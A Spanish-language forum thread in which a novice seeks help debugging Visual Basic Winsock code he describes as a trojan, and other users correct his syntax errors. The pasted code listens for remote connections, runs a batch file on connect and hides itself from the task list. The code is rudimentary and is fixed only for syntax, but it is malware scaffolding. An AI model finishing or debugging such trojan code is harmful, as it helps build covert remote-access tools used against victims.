empezando...con vb

[saliaz]

ola soy nuevo en el foro....he estado mirando tutoriales y documentos por el foro, y he decido probar con un troyano en visual basic.....,la cuestion
es que he copiado varios codigos de manuales de este foro y otras páginas, y nada por probar,he instalado la consola windsock y he seleccionado en nuevo proyecto exe estandar, he copiado los codigos igual que estaban en los manuales y por probar ... he ejecutado generar proyecto, pero me da error  en la linea 22( bLOQUE IF SIN END IF) ERROR DE COMPILACION



Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub escuchar_Click()
On Error Resume Next
Ws.LocalPort = Text1.Text
Ws.Close
Ws.Listen
If Ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
Ws.Close
Ws.Accept requestID
Label3.Caption = Ws.RemoteHostIP
Shell "c:\ki.bat"
Timer1.Interval = 3000
error:
End Sub
Private Sub Command1_Click()
If winsock1.State = sckConnected Then
MsgBox "conection satisfactoria", vbInformation
End Sub    ------AQUI LINEA 22---------

Private Sub Form_Load()
Timer1 .Interval = 1
End Sub
Private Sub Timer1_Timer()
App TaskVisible = False
Timer1.Enabled = False
End Sub



GRACIAS...COMO SE ADUJUNTAN IMAGENES?GRACIAS...

[HALC12]

saliaz22
tu error es cosa de que te fijes bien
mira cuando tu colocas un if
debes cerrarlo colocando un end if
si no te va a salir ese error siempre si no me equivoco
quedaria asi
Private Sub Command1_Click()
If winsock1.State = sckConnected Then
MsgBox "conection satisfactoria", vbInformation
end if
End Sub    ------AQUI LINEA 22---------
pruebalo
me avisas si te sirvio o no
espero que te sirva
saludes

[Tughack]

Esto ni merece una respuesta.... Kerer hacer un programa sin kerer aprender a programar...

Se fuera mod en este foro borraria este tema....

Salu2

[saliaz]

gracias por la ayuda halc12,la verdad es que no tengo mucha idea aun, y la ayuda se agradece...
a ti tughack, coño tambien me aburro de leer manuales, yo creo que un poquito de practica tambien va bien, por lo menos se hace mas ameno.....no les estoy dicendo a nadie que siga mis pasos...jeje, de todas formas gracias a los dos..

[saliaz]

halc12 si que era eso......aunque despues de eso me he encontado mas errores en el  code(varios espacios en blanco que habia dejado) pero los he sabido solucionar....gracias otra vez.

[saliaz]

 en este tambien me da error en lo que esta en negro:

Private Sub Command1_Click()
Winsock1.LocalPort = puerto.Text
Winsock1.Listen
End Sub

Private Sub Command2_Click()
Winsock1.Close
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
txtrecibido = txtrecibido & "conexion cerrada:" & Winsock1.RemoteHostIP
Winsock1.Close
txtrecibido = "id de la solicitud de la conexión" & requestid& " de "&winsock1.remotehostip"
Winsock1.Close
End Sub

y me lo he copiado exactamente de un manual...?

[Nakp]

es q has puesto unas comillas de mas tienes errores de sintaxis queda asi:

Código (vb) [Seleccionar] Expandir

txtrecibido = "id de la solicitud de la conexión" & requestid & " de " & winsock1.remotehostip

pd: por el amor de Dios!!! usen las etiquetas del codigo!!! hasta lo han mejorado para distintos tipos de lenguajes y no lo usan es un desperdicio

salu2

[HALC12]

SALIAZ
mira si lo que te dice   Nakpanzer  no te sale prueva con esto
txtrecibido = "id de la solicitud de la conexión" & requestid & " de " & Winsock1.RemoteHostIP


si te fijas bien la diferencia casi no es nada
solo es cuestion de que mires bien varios tutoriales y los compares asi apremderas mas

mira Tughack  yo se que este error es demasiado simple como tu dices pero para alguien que esta aprendiendo puede pareserle dificil yo tambien he pasado por esto

[Tughack]

mira Tughack  yo se que este error es demasiado simple como tu dices pero para alguien que esta aprendiendo puede pareserle dificil yo tambien he pasado por esto

Bueno ya no digo mas nada, cada uno tiene su forma de aprender, y se kieres saber se te paso eso tambien no lo has aprendido de la mejor forma. Solo es dificil kuando forzamos a k funcione sin tener kualkier nocion de lo k hacemos.

Salu2

[saliaz]

lo prove primero como dijo nakpanzer pero me daba error y si que me funciono como halck12...eso lo dejo para vosotros que sois los expertos...